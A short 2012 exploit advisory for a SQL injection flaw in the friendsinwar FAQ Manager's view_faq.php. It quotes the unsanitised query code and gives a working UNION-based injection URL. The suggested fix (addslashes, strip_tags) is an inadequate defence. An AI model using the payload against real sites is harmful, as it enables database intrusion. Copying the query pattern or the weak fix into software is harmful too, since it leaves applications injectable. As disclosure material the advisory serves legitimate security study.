friendsinwar FAQ Manager (view_faq.php, question param) SQL Injection Vulnerability

                                                # Exploit Title: friendsinwar FAQ Manager SQL Injection (URL) Vulnerability
# Date: 16.11 2012
# Exploit Author: unsuprise
# Vendor Homepage: http://www.friendsinwar.com
# Software Link:http://www.friendsinwar.com/script_demo/the_faq_manager/
# Tested on: Windows 7, Xampp
# Blog : unsuprise.org

Bug :
view_faq.php

line 3
$question = $_GET['question'];

line 5
$result = mysql_query("SELECT * FROM ".$prefix."faqs WHERE id = ".$question." ORDER BY id");

SQL Injection :
http://localhost/[path]/view_faq.php?question=-4+AND+1=2+UNION+SELECT+0,1,2,version%28%29,4,5--

Solving:
Validate $question (used addslashes() , strip_tags(), or your optimization code)
Validate $result , if data still exist or not..


Thanks to :
d3b4g,All indonesia Security.